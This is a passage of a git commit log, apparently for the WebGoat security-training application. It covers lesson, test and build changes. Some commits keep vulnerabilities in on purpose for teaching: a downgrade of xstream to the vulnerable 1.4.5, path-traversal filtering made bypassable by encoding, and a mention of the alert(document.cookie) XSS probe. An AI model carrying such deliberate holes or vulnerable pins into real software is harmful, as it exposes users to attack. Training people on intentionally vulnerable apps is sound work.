[ERROR] Failed to execute goal org.codehaus.mojo:flatten-maven-plugin:1.2.5:flatten (flatten) on project webgoat-container: The plugin org.codehaus.mojo:flatten-maven-plugin:1.2.5 requires Maven version 3.2.5 -> [Help 1]
```
2021-02-11 15:14:50 +01:00
avivmu
215b3b4e78
Remove redundant escaping in regex (#929) 2021-02-11 15:13:38 +01:00
NatasG
00c4be63f0
Fix sql injection line comments issue. (#925) 2021-01-19 10:47:04 +01:00
Kelly Marchewa
2e581d6bdb
docs: update SQLi lesson text (#928)
- corrected typos/grammar issues
  - restructured sentences for clarity
2021-01-19 10:29:16 +01:00
avivmu
b20f6492a3
Simplify regex (#927) 2021-01-15 14:36:04 +01:00
avivmu
74b218b2a7
Use try with resources instead of try (#921)
* Use try with resources instead of try

* Remove unused lesson

* Remove unused fields
2021-01-13 18:21:04 +01:00
René Zubcevic
b219854f81
fix in case external site is down (#919) 2021-01-11 20:15:23 +01:00
avivmu
dea4a9d2a9
Small improvements (#918)
* Typo fix

* No need to use thread-safe object

* Use String case in-sensitive equals
2021-01-11 16:38:14 +01:00
René Zubcevic
6d3f38e2df
Update README.MD (#915) 2021-01-11 15:56:50 +01:00
René Zubcevic
60c7fdd0db activation button tested 2020-12-09 19:40:16 +01:00
René Zubcevic
bce4c775bf initial idea for explanation on static code analysis and experience of the fix 2020-12-09 19:40:16 +01:00
René Zubcevic
8bed91a8dc
improved threading and logic based on number of calls and number of tests (#910) 2020-12-08 16:03:36 +01:00
René Zubcevic
e78420fa8e fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
f676b3a3d6 fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
8b4240889a fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
262afedb08 fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
9dbd41c830 fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
3aab59e326 fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
0f7a556b9c fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
48b3c6a07d fix warnings 2020-12-04 08:47:50 +01:00
René Zubcevic
649fce6f42 fix warnings 2020-12-04 08:47:50 +01:00
Gabriel M. Schuyler
b1495a8cd5
Fix typo (#909) 2020-12-03 14:23:23 +01:00
René Zubcevic
69c19d19d4
flattened pom plugin added for easy build of seperate modules (#907) 2020-12-01 17:12:43 +01:00
René Zubcevic
89f43229ab
upgrade springboot version and some related unit test fixes (#904)
* upgrade springboot version and some related unit test fixes

* removed log for test

* removed junit version property
2020-11-28 17:35:55 +01:00
René Zubcevic
8235ea0f58
Custom menu (#901)
* added way to customize menu

* fixed unit mock test

* updated release notes

* updated release notes

* default none exclude
2020-11-27 14:36:57 +01:00
René Zubcevic
6bee0f3fa6
layout of page improved and ordered ranking (#903) 2020-11-27 13:58:58 +01:00
René Zubcevic
574039902d changed version to snapshot version and introduced revision parameter
for it
2020-11-27 12:15:19 +01:00
René Zubcevic
090263b279 added start checks with hints on port usage 2020-11-27 12:13:24 +01:00
Eskil Andréen
74cca6d185
Add missing trailing double quote in sql query (#897) 2020-11-19 07:45:07 +01:00
Nanne Baars
f3e3cbd45f
Improve navigation bar (#890)
* Remove Raspberry pi Docker file

* Remove old show-source/solution and plan button

* Remove commented out code

* Improve navigation

* Remove underline from navigation and remove margin of left navigation button

* Make arrow a bit smaller so it aligns a bit better with the navigation bar itself
2020-11-13 07:24:52 +01:00
Nanne Baars
db3015e0bc When current lesson is not set do not try to remove selected class as there is no element selected.
The current lesson is now selected correctly so it makes it easier to see which item in the menu is selected
2020-11-04 21:33:57 +01:00
Nanne Baars
fa9b5ae87d Remove option to hide menu with the lessons 2020-11-04 21:33:57 +01:00
Nanne Baars
36cf028334 Remove blinking navigation buttons 2020-11-04 21:33:57 +01:00
Nanne Baars
488a8e934a #843: Add readonly field and update the layout of the assignment 2020-11-04 20:35:05 +01:00
Nanne Baars
753a2db958 #846: add extra test to verify whether the solution is solved for the original user as well 2020-11-04 20:35:05 +01:00
Nanne Baars
37e9359c9e #841: Clarify the lesson based on the comments
- Output messages more clear
- Replace success to failure (otherwise lesson is marked complete immediately)
- Fix the layout of the lesson (remove whitespace update buttons)
2020-11-04 20:35:05 +01:00
Nanne Baars
7b8523dcab #839: fix the SQL statement as this one does not express that the orderBy clause input is user input 2020-11-04 20:35:05 +01:00
Nanne Baars
dac011db78 fix failing test (order) 2020-10-21 08:05:53 +02:00
Nanne Baars
41879c4603 Blind XXE lesson blocks including the file in the comment directly 2020-10-20 22:09:49 +02:00
Nanne Baars
641d75e734 Link to the original lesson for the goal 2020-10-20 22:09:49 +02:00
Kelly Marchewa
e4ec90db8a chore: update CIA grammar and content
- misc. grammatical edits
  - add a few more examples
2020-10-15 08:39:28 +02:00
René Zubcevic
d5f78351a2
lesson pages updated based on comments for #834 and #836 (#864) 2020-08-23 15:36:01 +02:00
René Zubcevic
ef6993c636 improving lesson due to issue #845 2020-07-09 19:21:42 +02:00
René Zubcevic
2d2dc22e19 first step 2020-07-09 19:21:42 +02:00
René Zubcevic
db9e1c4c4f first step 2020-07-09 19:21:42 +02:00
René Zubcevic
317573c897
Small fixes june 2020 (#857)
* issue 849

* another integration test for a challenge

* fixing issue 848

* updated link for issue 833

* fix for 847
2020-07-08 19:26:09 +02:00
Roy Stultiens
ba8444dd85
Update 1proxysetupsteps.adoc (#854)
thanks for the fix
2020-07-04 08:00:32 +02:00
Mike Robinson
219aad0bbc
Correcting incorrect information (#835)
Thanks for the improvement. Hope you liked the lesson.
2020-06-19 17:00:43 +02:00
René Zubcevic
1cbaade9ab
adjustments for arbitrary user support (openshift guideline) (#830)
* adjustments for arbitrary user support (openshift guideline)

* do not create up front .webgoat
2020-06-08 07:30:55 +02:00
Elie De Brauwer
98d17433f1 HTML Tampering mitigation: Typo fixes 2020-05-25 09:09:26 +02:00
Elie De Brauwer
11a7814626 Dinis Cruz Blog
This was discussed in ticket https://github.com/WebGoat/WebGoat/issues/724 however the Dinis Cruz Blog remains available through a blogspot.com URL which might be more interesting to reference than an web.archive.org link.
2020-05-25 09:08:55 +02:00
Elie De Brauwer
5311db8564 XSS Quiz: Fix 404
The original URL was malformed because it contained a closing ) which did not end up in the link. However the corrected link performs a redirect to the link provided in this patch.
2020-05-25 09:08:09 +02:00
Elie De Brauwer
ae156a4a0f Function AC User: Spelling and grammar fixes. 2020-05-25 09:07:31 +02:00
Elie De Brauwer
9576c6b9da Function AC Lesson 1: Spelling and grammar fixes. 2020-05-25 09:07:31 +02:00
Elie De Brauwer
6c83457231 Function ac intro: Spelling and grammar update 2020-05-25 09:07:31 +02:00
Elie De Brauwer
060851a4a2 IDOR_intro.adoc: Fix 404
The closing ')' in the URL was not taken up in the link causing a 404 when clicking the URL.
2020-05-24 09:57:29 +02:00
Elie De Brauwer
671691a5ed XXE_changing_content_type.adoc: Typo fixes 2020-05-24 09:56:43 +02:00
Elie De Brauwer
f326755190 XXE_intro.adoc: Typo fixes 2020-05-24 09:56:43 +02:00
Elie De Brauwer
99edda6029 XXE_plan.adoc: Typo fixes 2020-05-24 09:56:43 +02:00
Elie De Brauwer
717f852680 InsecureLogin_intro.adoc: Typo fix 2020-05-24 09:56:43 +02:00
Elie De Brauwer
c42d6b15c3 SecurePasswordsAssignment: Fix output formatting
- When solving the solution (entering a correct password) then the 'Score: 4/4' does not start on a new line, instead it is glue to the Estimated cracking time line. As a solution the </br> is added as a suffix on that line (and successive lines).
- Maximum score is 4, not 5 (see also the assignment, and https://github.com/nulab/zxcvbn4j/blob/master/src/main/java/com/nulabinc/zxcvbn/TimeEstimates.java#L23 which is the origin of getScore() )
2020-05-24 09:56:01 +02:00
Elie De Brauwer
dfa3242aeb Delete unused PasswordReset_password_reset_link.adoc
Not referenced in webgoat-lessons/password-reset/src/main/resources/html/PasswordReset.html, looks like a placeholder/dead code.
2020-05-24 09:39:18 +02:00
Elie De Brauwer
23762885fa PasswordReset_host_header.adoc: Typo fixes 2020-05-24 09:39:18 +02:00
Elie De Brauwer
60087e441d PasswordReset_SecurityQuestions.adoc: Typo fix. 2020-05-24 09:39:18 +02:00
Elie De Brauwer
2e8d0dd9b5 PasswordReset_plan.adoc: Spelling fixes 2020-05-24 09:38:25 +02:00
Elie De Brauwer
966d7a7aed JWT_refresh.adoc: Fix spelling issues 2020-05-24 09:37:47 +02:00
Nanne Baars
851fd9ae03 Only push to 1 Docker repo 2020-05-23 17:01:13 +02:00
Nanne Baars
637d393889
Update README.MD 2020-05-23 16:40:54 +02:00
Nanne Baars
2dad97bdcb
Docker command without -d option to show output int console 2020-05-23 16:39:37 +02:00
Nanne Baars
c0ce72a2bd Remove Github pages, too many things to keep in sync.
Let's keep the focus on the OWASP page and the Github README
2020-05-23 16:35:32 +02:00
Nanne Baars
90ea59cfca Remove Github pages, too many things to keep in sync.
Let's keep the focus on the OWASP page and the Github README
2020-05-23 16:30:42 +02:00
Nanne Baars
c695614fac Fix Docker link 2020-05-23 16:30:42 +02:00
Nanne Baars
304312018b
Update README.MD 2020-05-23 16:22:23 +02:00
Nanne Baars
3a2bfc9c24
Cleanup readme 2020-05-23 16:19:22 +02:00
Nanne Baars
3d0f879c12
Remove dep status 2020-05-23 16:17:16 +02:00
Nanne Baars
a4f7059051 Merge branch 'release/v8.1.0' 2020-05-23 14:19:03 +02:00
Nanne Baars
61720b29ea Fix Travis script 2020-05-23 13:40:28 +02:00
Nanne Baars
75700597e6 Merge branch 'release/v8.1.0' into develop 2020-05-22 15:09:11 +02:00
Nanne Baars
bd16fedb33 Merge branch 'release/v8.1.0' 2020-05-22 15:08:50 +02:00
Nanne Baars
39740e069e New release 2020-05-22 14:10:31 +02:00
Nanne Baars
5739705d8a Process review comments 2020-05-22 10:10:42 +02:00
Nanne Baars
9b72610510 Extend XXE lesson with more content and add solution description
Remove obsolete images
Add stylesheet items specific for asciidoctor so we can for icons and source numbering
2020-05-22 10:10:42 +02:00
René Zubcevic
c4a046bd12
Ch1 less default (#814)
* random pincode in challenge1

* unit test fix
2020-05-12 08:49:48 +02:00
René Zubcevic
f520c3589c
flag submission fixed (#812) 2020-05-07 11:04:00 +02:00
René Zubcevic
832d6432fc
fix for JWT green button and WebWolf intro green button and added jwt int tests (#808) 2020-05-07 08:28:45 +02:00
René Zubcevic
f4838e1233 add int test for acl 2020-05-01 09:15:29 +02:00
René Zubcevic
70771ee854 added a webwolf template error page with some explanation and updated 2017 to 2020 2020-04-30 10:21:53 +02:00
René Zubcevic
9dea696c4c
added int test for IDOR and fixed green button issue (#801) 2020-04-29 12:12:11 +02:00
René Zubcevic
2398949396 added ace js for java 2020-04-28 09:33:54 +02:00
Nanne Baars
57c008a697 Fix reading file, added try/catch and added tests 2020-04-28 09:25:39 +02:00
Nanne Baars
2614044918 Fix copying of pictures to WebGoat home directory 2020-04-27 13:07:23 +02:00
Nanne Baars
1aad57ba55 Fix the syntax differences between HSQL and Postgres 2020-04-27 11:45:41 +02:00
Nanne Baars
54610868fe Fix the syntax differences between HSQL and Postgres 2020-04-27 11:45:41 +02:00
Nanne Baars
4831338649 Remove explicit HSQLDB property from WebGoat and use the Spring Boot version 2020-04-27 11:45:41 +02:00
Nanne Baars
3bb7ee46bd Upgrade to Postgres 10 2020-04-27 11:45:41 +02:00
Satoshi SAKAO
1a9ce15e99 fix typo (hint3 will not be shown) 2020-04-27 10:44:39 +02:00
Satoshi SAKAO
9063b4137f fix 404 links 2020-04-27 10:44:39 +02:00
Satoshi SAKAO
d7ae3a4391 fix typo 2020-04-27 10:44:39 +02:00
Satoshi SAKAO
db66c1dd02 fix number of steps 2020-04-27 10:44:39 +02:00
Satoshi SAKAO
608728b135 fix asciidoc italic format 2020-04-27 10:44:39 +02:00
René Zubcevic
88eb4d7b26 ace editor added without all the nonsense around it 2020-04-26 16:45:56 +02:00
René Zubcevic
58bc94d1f6 fix green buttons 2020-04-22 16:37:00 +02:00
René Zubcevic
6f532683a1 lessonplan character updates so it also works on Windows Cp125 2020-04-20 12:54:18 +02:00
Nanne Baars
6b68a12449 Set more conditions for releasing 2020-04-19 15:42:50 +02:00
Nanne Baars
27bf08ad5c Deploy and release on Java 11 2020-04-19 15:42:50 +02:00
Nanne Baars
52b66ed506 Java 12 is EOL so no need to support it 2020-04-19 15:42:50 +02:00
Nanne Baars
a5350060e1 Add dummy extra method with return type AttackResult because every assignment needs at least one such mapping (in the challenges case this is optional but since the challenges are an extra thing and this is the only assignment which has no such method adding a dummy method makes sense) 2020-04-19 15:42:50 +02:00
Nanne Baars
4f649234a9 Fix Java 11 issue where the order of methods returned in AssignmentEndpoint subclasses returned wrong method for determining the mapping of an assignment. Now we walk over all methods until we find one which has for example a @GetMapping with AttackResult or ResponseEntity<AttackResult as return type. If no such method is found an exception is thrown 2020-04-19 15:42:50 +02:00
Nanne Baars
96412da04e Remove unused imports and parameters 2020-04-19 15:42:50 +02:00
Nanne Baars
0015394582 Fix typo 2020-04-19 15:42:50 +02:00
Nanne Baars
9cb63a7c43 Update to latest surefire plugin otherwise new JUnit 5 test fails 2020-04-19 15:42:50 +02:00
Nanne Baars
561fb1f7f4 Build matrix for building 2020-04-19 15:42:50 +02:00
Nanne Baars
3b7481c2a7 Update method signature 2020-04-19 15:42:50 +02:00
Nanne Baars
f1768bd9a5 small update 2020-04-19 15:42:50 +02:00
Nanne Baars
407e19638f Add two more assignments for SQL injection where only filtering is applied. 2020-04-19 15:42:50 +02:00
Nanne Baars
122cc323f2 Changed the order of explanation of setting up ZAP/Burp a bit (feedback from workshop). This makes the necessary steps more explicit by moving all extra configuration for https etc to the back. So when you follow the lesson you will only setup the minimal and not get confused about things which are only necessary in certain cases 2020-04-19 15:42:50 +02:00
René Zubcevic
9509993a8f
all tests complete for Password Reset (#785) 2020-04-17 15:54:24 +02:00
René Zubcevic
25e66ae412 use of script console in stead of browser address bar 2020-04-17 15:33:26 +02:00
René Zubcevic
089952e9ad quiz fix for CIA, SQL Injection Advanced and XSS + XSS description
change in alert(document.cookie)
2020-04-17 15:33:26 +02:00
René Zubcevic
efc5a870a0
Path traversal windows unittest fix (#780)
* fixes to support windows and linux/unix/mac

* fix in matcher
2020-04-14 16:13:43 +02:00
René Zubcevic
0638cae6e5
corrected hints and improved error handling base64 (#781) 2020-04-14 16:13:25 +02:00
René Zubcevic
b8abc99faf fix for scoreboard after js refactoring 2020-04-08 12:05:01 +02:00
René Zubcevic
e921fb66a9 actual working version of vulnerable components part 5 2020-04-08 12:05:01 +02:00
René Zubcevic
e25f7a7560 clean up and update js 2020-04-08 12:05:01 +02:00
René Zubcevic
c4ae9ae2ab migrate to JUnit 5 code 2020-04-06 16:02:15 +02:00
René Zubcevic
c4153ecbfb
Maven owasp dep update (#776)
* add pmd and owasp dependency check through -P owasp profile

* suppress full stack trace in log

* revert to spring 2.2.0 as 2.2.4 failed in travis

* added owasp dependency check maven configuration details to vulenerable
lesson page 7
2020-04-06 16:01:09 +02:00
Nanne Baars
bb6d06713f Fix failing test 2020-03-10 08:03:48 +01:00
Nanne Baars
14022d88c9 Last assignment now filters out .. and / so encoding plays a role now 2020-03-10 08:03:48 +01:00
Nanne Baars
d4966b5e71 Fix test cases 2020-03-10 08:03:48 +01:00
Nanne Baars
b3840e60e3 Fix lessons 2020-03-10 08:03:48 +01:00
Nanne Baars
3ece45b3d4 Fix for not passing the content-type 2020-03-10 08:03:48 +01:00
Nanne Baars
6b7678fb1d Remove old files 2020-03-10 08:03:48 +01:00
Nanne Baars
6c25cf8e43 Add path traversal lesson 2020-03-10 08:03:48 +01:00
Tiago Mussi
c4c28f544f Fixed CSRF broken links. 2020-03-06 17:15:10 +01:00
René Zubcevic
3b050a856a tested solution with unit test and verfied with lesson 5 on ie 2020-02-28 23:11:29 +01:00
René Zubcevic
71d9c4b61a first steps 2020-02-28 23:11:29 +01:00
René Zubcevic
a8118a14cd add support for status 403 feedback from e.g. ModSecurity/CRS 2020-02-28 23:06:42 +01:00
René Zubcevic
5f3dff4921
added notes on salted hash (#758) 2020-02-27 07:20:58 +01:00
August Detlefsen
208aa42fdb
relax detection regex (#757)
Allow for content before and after the script; Allow optional semicolon
2020-02-20 20:00:07 +01:00
Jonathan Thompson
cd3fb8040f
Typo and grammar corrections for the crypto lessons (#756)
* Correct typos and grammar errors.

* Revert one grammar change
2020-02-09 08:00:08 +01:00
Dan Muller
9d5fa6f4ef
Correct typos and clarify language in signing.adoc (#754)
Some of the changes correct simple misspellings. Some are intended to clarify or simplify the language.
2020-01-30 14:01:42 +01:00
René Zubcevic
6797033a09
restored pom removal (#753) 2020-01-25 18:18:06 +01:00
René Zubcevic
9eee726eb5
All in one docker (#749)
* all-in-one Dockerfile preparations

* some cleanup

* add to main pom and add links in index.html

* updated deploy script from build pipeline

* additional line feed just in case
2020-01-25 17:54:24 +01:00
René Zubcevic
4e371b63d0
suppressing some useless log messages and banners in unit tests (#752)
* suppressing some useless log messages and banners in unit tests

* some more log suppressed
2020-01-25 12:11:45 +01:00
Nanne Baars
edd6b7d7cf Reset lesson bug (#741)
* Remove old code from UI

* Remove old code

* Remove old functions

* Remove unnecessary divs

* Remove logging to console

* Clear lesson messages (checkmark, output text etc) when lesson resets
2020-01-05 20:22:50 +01:00
Nanne Baars
5de82c0a06 Fix link to XStream blog which no longer exists (#740) 2020-01-05 19:48:40 +01:00
Nanne Baars
71f2d2968f Fix NPE when request does not contain parameter (#739) 2020-01-05 15:14:53 +01:00
Nanne Baars
0d7daf60d9 Fix broken e-mail link (#738) 2020-01-05 15:05:51 +01:00
René Zubcevic
bb80e11665
dockerfile and compose changes (#737)
* dockerfile and compose changes

* adjusted link
2019-12-27 20:32:35 +01:00
Nanne Baars
8088465652 Move and remove unneccessary pom dependencies (#736) 2019-12-24 16:14:36 +01:00
Nanne Baars
035c8662d4 Revert "Bump xstream from 1.4.5 to 1.4.6 in /webgoat-lessons"
This reverts commit a831d949b25b0da599a8e71518f52b7889fc982a.
2019-12-23 17:14:20 +01:00
dependabot[bot]
a831d949b2 Bump xstream from 1.4.5 to 1.4.6 in /webgoat-lessons
Bumps xstream from 1.4.5 to 1.4.6.

Signed-off-by: dependabot[bot] <support@github.com>
2019-12-23 17:12:31 +01:00
torleif
4c45a1e68c This lesson is intended to show the dangers of outdated software. However in version 1.4.7 the vulnerability is fixed! In 1.4.5 it is still present, so I suggest this downgrade. It is tested and works as intended, just as 1.4.7 does not. 2019-12-23 17:09:46 +01:00
René Zubcevic
f79ad452d2 password reset support for using www.webwolf.local 2019-12-23 17:08:33 +01:00
René Zubcevic
59076fc9ef adjusted WebWolfMacro 2019-12-23 17:08:33 +01:00
René Zubcevic
b6aa677594
Zap 8 update for proxy lesson (#718)
* additional steps in proxy setup added

* lessons checked

* added page on https proxy and burp proxy
2019-12-10 12:14:21 +01:00
thegoodcrumpets
681a20a7c3 In the migration to Spring 2, this method lost its get mapping to the IDOR/profile url,breaking the javascript call to that address. (#720)
thanks!
2019-12-04 12:21:19 +01:00
René Zubcevic
c5ec2d40a1
updates docker image name (#717) 2019-11-26 18:12:06 +01:00
René Zubcevic
b5e5dd1d13
Crypto lesson (#712)
* crypto lesson added

* signing assignment

* integration test added for signing assignment

* added more hints

* corrections after rebase

* added some explanation

* added security defaults assignment
2019-11-23 21:52:14 +01:00
Nanne Baars
9c0b7f8233 Fix version substitution so WebGot home directory contains version number instead of @project.version@ in the name (#710) 2019-11-17 14:33:24 +01:00
Nanne Baars
5dd6b31905 Adjust lesson template (#704)
* Remove method `getId()` from all lessons as it defaults to the class name

* remove clean up endpoint

* remove unused class `RequestParameter`

* remove unused class `PluginLoadingFailure`

* Move `CourseConfiguration` to lesson package

* Add more content around the lesson template lesson and make it visible as a lesson in WebGoat

* Remove explicit invocation `trackProgress()` inside WebGoat framework so assignments only need to return an `AttackResult`

* Put original solution back as well for SQL string injection

* review comments

* Add
2019-11-17 13:39:56 +01:00
Nanne Baars
f40b6ffd31 Moving back to snapshot 2019-11-13 12:27:26 +01:00
Nanne Baars
7313fc6c08 Merge branch 'release/v8.0.0.M26' into develop 2019-11-12 09:33:05 +01:00
Nanne Baars
c8ac054093 Merge branch 'release/v8.0.0.M26' 2019-11-12 09:32:50 +01:00
Nanne Baars
fe2ac1b8d4 New release, updating pom.xml 2019-11-12 09:22:45 +01:00
Nanne Baars
ba74898441 Add JavaScript to assignment otherwise you will not be able to see the flow of the endpoint 2019-11-12 09:12:37 +01:00
Nanne Baars
1d477bd0e8 Rename endpoint in JavaScript as backend call uses different endpoint 2019-11-12 09:12:37 +01:00
Nanne Baars
48b604d6d9 Enable salaries again as rest controller 2019-11-12 09:12:37 +01:00
Rene Zubcevic
2ab8a838c3 update JRE and milestone version to latest 2019-11-11 22:03:20 +01:00
Nanne Baars
e07a2aff48 Fix mistake the SQL exception should be throws otherwise users cannot see the table name (servers) makes it impossible to
solve the assignment. Add explicit test for this to guard against future mistakes
2019-11-11 21:17:51 +01:00
Nanne Baars
7d48427d4f Integrate ZAP 2.8.0 (no HUB) as the setup is different also update the filtering as usual ZAP exclusion is again broken 2019-11-11 21:17:51 +01:00
Nanne Baars
d8844216cc Add solution for Firefox no longer proxying localhost at all 2019-11-11 10:38:25 +01:00
Nanne Baars
ab3cd118c9 Explicitly set Maven repo to https 2019-11-11 10:38:05 +01:00
Cotonne
8da4342430 Improve readability of query (#685)
thanks! and do not forget to clean your .webgoat... local db related files
2019-11-04 13:28:35 +01:00
Nanne Baars
ddf6ac9bdb Improve handling of missing parameters, now returns HTTP/401 (#698) 2019-11-03 18:27:03 +01:00
Nanne Baars
f7b794bf68 Race condition in counting number of attempts #567 (#697)
Add version to Hibernate mapping so we get optimistic locking this solves
number of parallel calls trying to update/guess and mess with the lesson
counter
2019-11-03 18:14:15 +01:00
Nanne Baars
1a83e2825e Code style (#696)
* Remove Guava dependency from WebGoat

* Add Checkstyle to the project with very basic standards so we have a
style across lessons. It does not interfere with basic Intellij formatting
2019-11-03 18:11:09 +01:00
Philippe Lafoucrière
66bd1d8c1a Remove obsolete methods
As there were removed also in e8d086ac9b (diff-98a46e7f04c7a2dd03d59046076aac5bL40)
2019-10-30 08:28:42 +01:00
Philippe Lafoucrière
531db87876 Fix CommandInjection java files
Avoid these compilation errors:

```
[INFO] -------------------------------------------------------------
[ERROR] COMPILATION ERROR :
[INFO] -------------------------------------------------------------
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjectionExecute.java:[47,8] class HttpBasicsInterceptRequest is public, should be declared in a file named HttpBasicsInterceptRequest.java
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[38,8] class HttpProxies is public, should be declared in a file named HttpProxies.java
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[5,33] cannot find symbol
  symbol:   class AbstractLesson
  location: package org.owasp.webgoat.lessons
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[38,34] cannot find symbol
  symbol: class AbstractLesson
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[39,5] method does not override or implement a method from a supertype
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[44,5] method does not override or implement a method from a supertype
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[49,5] method does not override or implement a method from a supertype
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[54,5] method does not override or implement a method from a supertype
[ERROR] /tmp/app/webgoat-lessons/command-injection/src/main/java/org/owasp/webgoat/plugin/CommandInjection.java:[59,5] method does not override or implement a method from a supertype
[INFO] 9 errors
[INFO] -------------------------------------------------------------
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  4.356 s
[INFO] Finished at: 2019-10-19T21:13:03Z
[INFO] ------------------------------------------------------------------------
```
2019-10-30 08:28:42 +01:00
Philippe Lafoucrière
cac5985873 Fix command-injection pom.xml 2019-10-30 08:28:42 +01:00
Philippe Lafoucrière
c03b8e22bf Fix webgoat-lesson-template parent artifact ref
WebGoat 8 latest ([develop](9fdbbf69d6)) has the following compilation error:

```
Building Maven project at /builds/gitlab-org/security-products/tests/webgoat/webgoat-lessons/webgoat-lesson-template.
[INFO] Scanning for projects...
[ERROR] [ERROR] Some problems were encountered while processing the POMs:
[FATAL] Non-resolvable parent POM for org.owasp.webgoat.lesson:webgoat-lesson-template:[unknown-version]: Could not find artifact org.owasp.webgoat.lesson:webgoat-lessons-parent:pom:8.0-SNAPSHOT and 'parent.relativePath' points at wrong local POM @ line 6, column 13
 @ 
[ERROR] The build could not read 1 project -> [Help 1]
[ERROR]   
[ERROR]   The project org.owasp.webgoat.lesson:webgoat-lesson-template:[unknown-version] (/builds/gitlab-org/security-products/tests/webgoat/webgoat-lessons/webgoat-lesson-template/pom.xml) has 1 error
[ERROR]     Non-resolvable parent POM for org.owasp.webgoat.lesson:webgoat-lesson-template:[unknown-version]: Could not find artifact org.owasp.webgoat.lesson:webgoat-lessons-parent:pom:8.0-SNAPSHOT and 'parent.relativePath' points at wrong local POM @ line 6, column 13 -> [Help 2]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/ProjectBuildingException
[ERROR] [Help 2] http://cwiki.apache.org/confluence/display/MAVEN/UnresolvableModelException
Error: Project couldn't be built: exit status 1
```

This is due to an invalid (obsolete) ref in the parent artifact.

Full logs: https://gitlab.com/gitlab-org/security-products/tests/webgoat/-/jobs/322887707
2019-10-30 08:28:42 +01:00
Nanne Baars
710adfae20 Upgrade to latest Spring Boot version 2019-10-30 08:28:14 +01:00
Nanne Baars
9b87fd602c Explicitly set session persistence to false (result in non serializable exception) 2019-10-30 08:28:14 +01:00
Nanne Baars
28299f3ced Bind HSQLDB to same address as WebGoat 2019-10-30 08:28:14 +01:00
Nanne Baars
689e3de7a4 Final changes for splitting SQL WebGoat and lessons 2019-10-30 08:28:14 +01:00
Nanne Baars
25dae3a4a8 Fix merge request 2019-10-30 08:28:14 +01:00
Nanne Baars
d73875e8e8 Remove empty line 2019-10-30 08:28:14 +01:00
Nanne Baars
e783c0c1f1 SQL: Cannot use apostrophe/quotes on string literals #662 2019-10-30 08:28:14 +01:00
Nanne Baars
2a6b3d189e Disable csrf through property no longer works and we already have it in WebSecurityConfig. Thymeleaf templates caching is set on the resolvers themselves 2019-10-30 08:28:14 +01:00
Nanne Baars
96d11697d4 SQL Injection lesson 6 minor mistakes in examples #663 2019-10-30 08:28:14 +01:00
Nanne Baars
a0933d83d5 Reworked all the SQL statements to be uppercase 2019-10-30 08:28:14 +01:00
Cotonne
9fdbbf69d6 Proposition for fixing broken/improving links (#686)
* As stated on enzoic.com: "PasswordPing is now Enzoic!"

* Add references to other OWASP resources
2019-10-16 17:29:27 +02:00
Rene Zubcevic
1f00d461a8 cleaned logs and changed username length for csrf-uuid 2019-10-15 13:59:18 +02:00
Rene Zubcevic
6dc679e7b8 final tests and fixed the issue of getting the name of the loggedinuser 2019-10-15 13:59:18 +02:00
Rene Zubcevic
00873cfe3f csrf7 test cases added 2019-10-15 13:59:18 +02:00
Rene Zubcevic
e932253f06 initial test cases added 2019-10-15 13:59:18 +02:00
Rene Zubcevic
8d7142e6d3 upgrade ascii doc with support for link in new tab 2019-10-15 13:55:34 +02:00
René Zubcevic
e0ac4a1083
lessons in correct order and scoreboard visible again (#680) 2019-10-10 09:45:43 +02:00
René Zubcevic
f140875156
fixed views for password reset (#679) 2019-10-10 07:50:47 +02:00
René Zubcevic
18d43f16d3
working version with fixed link and GET for tracing purposes (#677)
* working version with fixed link and GET for tracing purposes

* added integration test

* filter on request log
2019-10-09 09:58:35 +02:00
Atharva Vaidya
aee4b74202 Update Receiving_mail.adoc (#676) 2019-10-03 18:22:54 +02:00
Choe Hyeong Jin
b481ed70e8 Fix typo in SQL Injection(Introduction) (#675)
Fix typo `date` to `data` which seems more appropriate in context.
2019-10-03 10:01:35 +02:00
René Zubcevic
fd7fb4cfbc
seems that we forgot about this one in the spring-boot-2 upgrade (#674) 2019-10-02 14:52:21 +02:00
René Zubcevic
663224d06a
xxe path info (#670)
* xxe path info aid added

* xxe path info aid added

*  changes to template file and hints

* added ssl test support for XXE

* added ssl test support for XXE

* restconfig replaced by httpsrelaxed

* processed review comments on hints and example
2019-10-02 09:59:32 +02:00
René Zubcevic
7536770769
deserialization made solvable again (#673)
* first objects and unit tests for making a fix for the lesson

* example added

* unit test for windows and linux

* added unit tests hints and feedbacks and updated lesson pages

* small typo correction
2019-10-02 08:26:48 +02:00
René Zubcevic
6c14f4987c Update IntroductionWebWolf.adoc
use aangepast in gebruiker
2019-10-02 07:55:57 +02:00
Rene Zubcevic
3d38ed7680 some text change 2019-10-02 07:55:57 +02:00
Rene Zubcevic
1a11702979 NL intro 2019-10-02 07:55:57 +02:00
René Zubcevic
0319c477b1
XSS lesson completion fixes (#669)
* XSS lesson completion fixes

* removed log all

* lesson progress capable of deprecated assignments in the database

* fixed unit test for lesson progress
2019-09-29 14:46:18 +02:00
René Zubcevic
45c7949118
Merge pull request #668 from afcidk/fix-typo
thanks for the fix
2019-09-27 15:05:59 +02:00
Pei Hsuan Hung
